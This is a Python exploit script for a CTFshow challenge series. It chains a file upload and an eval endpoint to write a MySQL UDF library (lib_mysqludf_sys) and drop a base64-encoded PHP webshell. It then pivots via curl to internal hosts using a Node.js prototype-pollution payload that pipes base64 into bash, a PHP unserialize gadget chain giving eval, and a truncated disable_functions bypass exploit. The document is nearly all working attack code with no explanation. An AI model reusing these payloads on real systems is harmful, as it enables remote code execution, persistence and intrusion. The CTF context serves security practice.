CTFshow_终极考核_EXP

EXP ALL IN HERE

exp exp exp ヾ(・ω・`。)

import requests
import base64
import re
import time


def getShell(url):
    burp0_url = url + "system36d/users.php?action=upload"
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://b79ffce6-20e8-463a-849d-d5c8a96fa1fc.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary1qlfRm0gVIoKhBvA"}
    burp0_data = "\r\n------WebKitFormBoundary1qlfRm0gVIoKhBvA\r\nContent-Disposition: form-data; name=\"file\"; filename=\"backup.dat\"\r\nContent-Type: application/octet-stream\r\n\r\na113@bbb123|a114@bbb1234|admin@flag_645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}|a2@bbb123|\r\n------WebKitFormBoundary1qlfRm0gVIoKhBvA--\r\n\r\n"
    res = requests.post(url = burp0_url, headers=burp0_headers, data=burp0_data)
    print(res.text)

    burp0_url = url + "system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}"
    burp0_cookies = {"UM_distinctid": "17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://c1be7167-28a0-4504-a5cd-04ca07fe2de6.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"key": "key_is_here_you_know", "file": "../db/data_you_never_know.db", "1": "file_put_contents('udf.txt',hex2bin('7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000'));echo shell_exec('cp udf.txt /usr/lib/mariadb/plugin/udf.so');echo shell_exec(\"echo PD89ZXZhbCgkX1BPU1RbMV0pPz4=|base64 -d>/var/www/html/1.php\");echo shell_exec('ip addr');"}

    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    print(res.text)
    if '172' in res.text:
        result = re.findall(r'172\.2\.([0-9]*)\.4\/24',res.text) 
        print(result)
        return result[0]

def runPython(url, payload):
    burp0_url = url + "1.php"
    burp0_cookies = {"UM_distinctid": "17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://b79ffce6-20e8-463a-849d-d5c8a96fa1fc.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"1": f"echo `python3 -c \"{payload}\"`;"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    print(res.text)

def runPHPshell_first(url, payload):
    burp0_url = url + "1.php"
    burp0_cookies = {"UM_distinctid": "17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://b79ffce6-20e8-463a-849d-d5c8a96fa1fc.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"1": f"eval(base64_decode({payload}));"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    print(res.text)

def runMysql_root_first(url, sql_payload):
    payload = r"""
    function query($sql){{
    $host='localhost';
    $username='root';
    $password='root';
    $database='ctfshow';

    $ret = array();

    $conn = new mysqli($host, $username, $password, $database);

    if ($conn->connect_error) {{
    die("连接失败: " . $conn->connect_error);
    }}

    $res = $conn->query($sql);
    if($res){{
        while ($row = $res->fetch_array(MYSQLI_NUM)) {{
            array_push($ret,$row);
        }}
        $res->close();
    }}
    else{{
    echo $conn->error;
    }}

    $conn->close();
    return $ret;
    }}

    $ret=query("{}");
    print_r(($ret));
    """.format(sql_payload)

    burp0_url = url + "1.php"
    burp0_cookies = {"UM_distinctid": "17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://b79ffce6-20e8-463a-849d-d5c8a96fa1fc.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"1": f"{payload}"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    print((res.text))

def nodejsShell(url, payload, net_id):
    payload = """
    {"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \\" echo """ + payload.decode('utf8') +"""|base64 -d|bash \\"')"}}}"""
    payload = base64.b64encode(payload.encode()).decode('utf8')

    burp0_url = url +"1.php"
    burp0_cookies = {"UM_distinctid": "17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://b79ffce6-20e8-463a-849d-d5c8a96fa1fc.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"1": f"echo shell_exec('curl \"http://172.2.{net_id}.5:3000/login\" -X POST -H \"Content-Type: application/json\" -d \"`echo {payload}|base64 -d`\"');"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) 
    if "ret_code" in res.text:
        print("The first is Success")
    else:
        print(res.text)
    
    burp0_data = {"1": f"echo shell_exec('curl \"http://172.2.{net_id}.5:3000/\"');"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) 
    if "title is not defined" in res.text:
        print("The Second is Success\n")
    else:
        print(res.text)

def runPHP_eval_second(url, payload, net_id):
    burp0_url = url + "1.php"
    burp0_headers = {"Accept-Encoding": "gzip, deflate", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close"}
    
    burp0_data = {"1": "echo shell_exec('curl \"http://172.2."+net_id+".5:8888/index.php?r=site/unserialize&key=flag_663=ctfshow\\{fa5cc1fb0bfc986d1ef150269c0de197\\}\" -d \"UnserializeForm[ctfshowUnserializeData]=O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00output%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A5%3A%22jiang%22%3B%7Ds%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A28%3A%22GuzzleHttp%5CPsr7%5CAppendStream%22%3A2%3A%7Bs%3A37%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00streams%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A29%3A%22GuzzleHttp%5CPsr7%5CCachingStream%22%3A2%3A%7Bs%3A43%3A%22%00GuzzleHttp%5CPsr7%5CCachingStream%00remoteStream%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bb%3A0%3B%7Ds%3A6%3A%22stream%22%3BO%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3A3%3A%7Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00source%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A192%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A37%3A%22function%28%29%7Beval%28%24_REQUEST%5B2%5D%29%3Bdie%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000006cfe4a45000000005bbc4366%22%3B%7D%7Ds%3A32%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00size%22%3Bi%3A-10%3Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00buffer%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A1%3A%22j%22%3B%7D%7D%7D%7Ds%3A38%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00seekable%22%3Bb%3A1%3B%7D%7D%7D%7D&2='.$_REQUEST[22].'%3b\"');", "22": f"eval(base64_decode({payload}));"}
    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print(res.text)
    save_txt(res.text)

def runPHP_eval_second_bypass(url, pwn_shell, net_id):
    phpBypass_second = f"""
    $myfile = fopen("/tmp/newfile.txt", "w") or die("Unable to open file!");
    $txt = base64_decode("PD9waHANCmZ1bmN0aW9uIHB3bigkY21kKSB7DQogICAgZGVmaW5lKCdMT0dHSU5HJywgZmFsc2UpOw0KICAgIGRlZmluZSgnQ0hVTktfREFUQV9TSVpFJywgMHg2MCk7DQogICAgZGVmaW5lKCdDSFVOS19TSVpFJywgWkVORF9ERUJVR19CVUlMRCA/IENIVU5LX0RBVEFfU0laRSArIDB4MjAgOiBDSFVOS19EQVRBX1NJWkUpOw0KICAgIGRlZmluZSgnRklMVEVSX1NJWkUnLCBaRU5EX0RFQlVHX0JVSUxEID8gMHg3MCA6IDB4NTApOw0KICAgIGRlZmluZSgnU1RSSU5HX1NJWkUnLCBDSFVOS19EQVRBX1NJWkUgLSAweDE4IC0gMSk7DQogICAgZGVmaW5lKCdDTUQnLCAkY21kKTsNCiAgICBmb3IoJGkgPSAwOyAkaSA8IDEwOyAkaSsrKSB7DQogICAgICAgICRncm9vbVtdID0gUHduOjphbGxvYyhTVFJJTkdfU0laRSk7DQogICAgfQ0KICAgIHN0cmVhbV9maWx0ZXJfcmVnaXN0ZXIoJ3B3bl9maWx0ZXInLCAnUHduJyk7DQogICAgJGZkID0gZm9wZW4oJ3BocDovL21lbW9yeScsICd3Jyk7DQogICAgc3RyZWFtX2ZpbHRlcl9hcHBlbmQoJGZkLCdwd25fZmlsdGVyJyk7DQogICAgZndyaXRlKCRmZCwgJ3gnKTsNCn0NCg0KY2xhc3MgSGVscGVyIHsgcHVibGljICRhLCAkYiwgJGM7IH0NCmNsYXNzIFB3biBleHRlbmRzIHBocF91c2VyX2ZpbHRlciB7DQogICAgcHJpdmF0ZSAkYWJjLCAkYWJjX2FkZHI7DQogICAgcHJpdmF0ZSAkaGVscGVyLCAkaGVscGVyX2FkZHIsICRoZWxwZXJfb2ZmOw0KICAgIHByaXZhdGUgJHVhZnAsICRoZnA7DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZmlsdGVyKCRpbiwgJG91dCwgJiRjb25zdW1lZCwgJGNsb3NpbmcpIHsNCiAgICAgICAgaWYoJGNsb3NpbmcpIHJldHVybjsNCiAgICAgICAgc3RyZWFtX2J1Y2tldF9tYWtlX3dyaXRlYWJsZSgkaW4pOw0KICAgICAgICAkdGhpcy0+ZmlsdGVybmFtZSA9IFB3bjo6YWxsb2MoU1RSSU5HX1NJWkUpOw0KICAgICAgICBmY2xvc2UoJHRoaXMtPnN0cmVhbSk7DQogICAgICAgICR0aGlzLT5nbygpOw0KICAgICAgICByZXR1cm4gUFNGU19QQVNTX09OOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gZ28oKSB7DQogICAgICAgICR0aGlzLT5hYmMgPSAmJHRoaXMtPmZpbHRlcm5hbWU7DQoNCiAgICAgICAgJHRoaXMtPm1ha2VfdWFmX29iaigpOw0KDQogICAgICAgICR0aGlzLT5oZWxwZXIgPSBuZXcgSGVscGVyOw0KICAgICAgICAkdGhpcy0+aGVscGVyLT5iID0gZnVuY3Rpb24oJHgpIHt9Ow0KDQogICAgICAgICR0aGlzLT5oZWxwZXJfYWRkciA9ICR0aGlzLT5zdHIycHRyKENIVU5LX1NJWkUgKiAyIC0gMHgxOCkgLSBDSFVOS19TSVpFICogMjsNCiAgICAgICAgJHRoaXMtPmxvZygiaGVscGVyIEAgMHgleCIsICR0aGlzLT5oZWxwZXJfYWRkcik7DQoNCiAgICAgICAgJHRoaXMtPmFiY19hZGRyID0gJHRoaXMtPmhlbHBlcl9hZGRyIC0gQ0hVTktfU0laRTsNCiAgICAgICAgJHRoaXMtPmxvZygiYWJjIEAgMHgleCIsICR0aGlzLT5hYmNfYWRkcik7DQoNCiAgICAgICAgJHRoaXMtPmhlbHBlcl9vZmYgPSAkdGhpcy0+aGVscGVyX2FkZHIgLSAkdGhpcy0+YWJjX2FkZHIgLSAweDE4Ow0KDQogICAgICAgICRoZWxwZXJfaGFuZGxlcnMgPSAkdGhpcy0+c3RyMnB0cihDSFVOS19TSVpFKTsNCiAgICAgICAgJHRoaXMtPmxvZygiaGVscGVyIGhhbmRsZXJzIEAgMHgleCIsICRoZWxwZXJfaGFuZGxlcnMpOw0KDQogICAgICAgICR0aGlzLT5wcmVwYXJlX2xlYWtlcigpOw0KDQogICAgICAgICRiaW5hcnlfbGVhayA9ICR0aGlzLT5yZWFkKCRoZWxwZXJfaGFuZGxlcnMgKyA4KTsNCiAgICAgICAgJHRoaXMtPmxvZygiYmluYXJ5IGxlYWsgQCAweCV4IiwgJGJpbmFyeV9sZWFrKTsNCiAgICAgICAgJHRoaXMtPnByZXBhcmVfY2xlYW51cCgkYmluYXJ5X2xlYWspOw0KDQogICAgICAgICRjbG9zdXJlX2FkZHIgPSAkdGhpcy0+c3RyMnB0cigkdGhpcy0+aGVscGVyX29mZiArIDB4MzgpOw0KICAgICAgICAkdGhpcy0+b